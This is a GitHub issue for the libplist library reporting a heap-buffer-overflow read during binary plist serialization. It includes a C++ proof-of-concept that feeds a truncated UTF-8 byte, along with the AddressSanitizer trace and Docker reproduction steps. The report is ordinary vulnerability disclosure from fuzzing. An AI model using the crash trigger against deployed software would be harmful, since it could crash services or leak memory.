Skip to content

heap-buffer-overflow (read) during plist serialization via truncated UTF-8 sequence #283

@hgarrereyn

Description

@hgarrereyn

Hi, there is a potential bug in plist serialization reachable by providing a truncated UTF-8 sequence inside a plist.

This bug was reproduced on 438f01b.

Description

The AddressSanitizer report shows a heap-buffer-overflow read in bplist.c:1122 inside plist_utf8_to_utf16be, called via write_unicode from plist_to_bin, reached by PList::Structure::ToBin(). The code computes lookahead bytes using conditions like (i < size-2) and (i < size-3). With size as an unsigned type (size_t), when size < 2 or < 3 these expressions underflow, making the comparisons spuriously true and causing reads past the buffer end. In our minimized case, we parse an XML plist whose contains a single byte 0xF0 (start of a 4-byte UTF-8 sequence) and then serialize to binary. The XML parser accepts the content (allocates a 2-byte buffer including NUL), but the UTF-8→UTF-16BE converter reads unistr[i+2] and unistr[i+3] past the buffer due to the incorrect bound checks, reproducing the same stack trace and out-of-bounds read at the first byte after the 2-byte allocation.

POC

The following testcase demonstrates the bug:

testcase.cpp

#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <string>
#include <vector>
extern "C" {
#include "/fuzz/install/include/plist/plist.h"
}
#include "/fuzz/install/include/plist/plist++.h"

int main(){
    // Build XML with a dict containing a string with a single non-ASCII byte (invalid UTF-8 continuation scenario)
    std::string payload;
    payload.push_back((char)0xF0); // start of 4-byte UTF-8 sequence without continuation bytes
    std::string xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n";
    xml += "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n";
    xml += "<plist version=\"1.0\"><dict><key>K</key><string>" + payload + "</string></dict></plist>";
    std::vector<char> buf(xml.begin(), xml.end());

    PList::Structure* s = PList::Structure::FromMemory(buf, nullptr);
    if (!s) return 0; // parsing must succeed for reproduction

    // Serialize to binary (triggers plist_utf8_to_utf16be)
    auto bin = s->ToBin();
    // ensure side-effect so it isn't optimized away
    if (bin.size() == 123456789) puts("impossible");
    return 0;
}

stdout

=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000000f2 at pc 0x55c6da4b20b0 bp 0x7ffc52a9dff0 sp 0x7ffc52a9dfe8
READ of size 1 at 0x5020000000f2 thread T0
    #0 0x55c6da4b20af in plist_utf8_to_utf16be /fuzz/src/src/bplist.c:1122:23
    #1 0x55c6da4b20af in write_unicode /fuzz/src/src/bplist.c:1165:18
    #2 0x55c6da4b20af in plist_to_bin /fuzz/src/src/bplist.c:1426:17
    #3 0x55c6da49cb17 in PList::Structure::ToBin() const /fuzz/src/src/Structure.cpp:68:5
    #4 0x55c6da498c8b in main /fuzz/testcase.cpp:25:19
    #5 0x7fecc1d5dd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x7fecc1d5de3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #7 0x55c6da3bd634 in _start (/fuzz/test+0x37634) (BuildId: d52763693b3ec31def8b21acaea02cc44bacc882)

0x5020000000f2 is located 0 bytes after 2-byte region [0x5020000000f0,0x5020000000f2)
allocated by thread T0 here:
    #0 0x55c6da4599de in malloc (/fuzz/test+0xd39de) (BuildId: d52763693b3ec31def8b21acaea02cc44bacc882)
    #1 0x55c6da4ae500 in text_parts_get_content /fuzz/src/src/xplist.c:935:18
    #2 0x55c6da4aaf6c in node_from_xml /fuzz/src/src/xplist.c:1258:27
    #3 0x55c6da4aaf6c in plist_from_xml /fuzz/src/src/xplist.c:1486:12
    #4 0x55c6da4b48d1 in plist_from_memory /fuzz/src/src/plist.c:290:19

SUMMARY: AddressSanitizer: heap-buffer-overflow /fuzz/src/src/bplist.c:1122:23 in plist_utf8_to_utf16be
Shadow bytes around the buggy address:
  0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x502000000000: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fd
=>0x502000000080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa[02]fa
  0x502000000100: fa fa 02 fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000000180: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 06 fa
  0x502000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1==ABORTING

stderr


Steps to Reproduce

The crash was triaged with the following Dockerfile:

Dockerfile

# Ubuntu 22.04 with some packages pre-installed
FROM hgarrereyn/stitch_repro_base@sha256:3ae94cdb7bf2660f4941dc523fe48cd2555049f6fb7d17577f5efd32a40fdd2c

RUN git clone https://github.com/libimobiledevice/libplist /fuzz/src && \
    cd /fuzz/src && \
    git checkout 438f01bad1437a15d35fa102bcde693171f03074 && \
    git submodule update --init --remote --recursive

ENV LD_LIBRARY_PATH=/fuzz/install/lib
ENV ASAN_OPTIONS=hard_rss_limit_mb=1024:detect_leaks=0

RUN echo '#!/bin/bash\nexec clang-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper && \
    chmod +x /usr/local/bin/clang_wrapper && \
    echo '#!/bin/bash\nexec clang++-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper++ && \
    chmod +x /usr/local/bin/clang_wrapper++

# Install build dependencies for autotools project
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
    autoconf automake libtool pkg-config \
 && rm -rf /var/lib/apt/lists/*

# Build and install libplist statically into /fuzz/install
WORKDIR /fuzz/src
ENV CC=clang_wrapper CXX=clang_wrapper++
RUN ./autogen.sh
RUN ./configure \
    --prefix=/fuzz/install \
    --disable-shared \
    --enable-static \
    --with-tools=no \
    --without-cython
RUN make -j"$(nproc)" && make install

Build Command

clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lplist++-2.0 -lplist-2.0 -lm && /fuzz/test

Reproduce

  1. Copy Dockerfile and testcase.cpp into a local folder.
  2. Build the repro image:
docker build . -t repro --platform=linux/amd64
  1. Compile and run the testcase in the image:
docker run \
    -it --rm \
    --platform linux/amd64 \
    --mount type=bind,source="$(pwd)/testcase.cpp",target=/fuzz/testcase.cpp \
    repro \
    bash -c "clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lplist++-2.0 -lplist-2.0 -lm && /fuzz/test"


Additional Info

This testcase was discovered by STITCH, an autonomous fuzzing system. All reports are reviewed manually (by a human) before submission.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions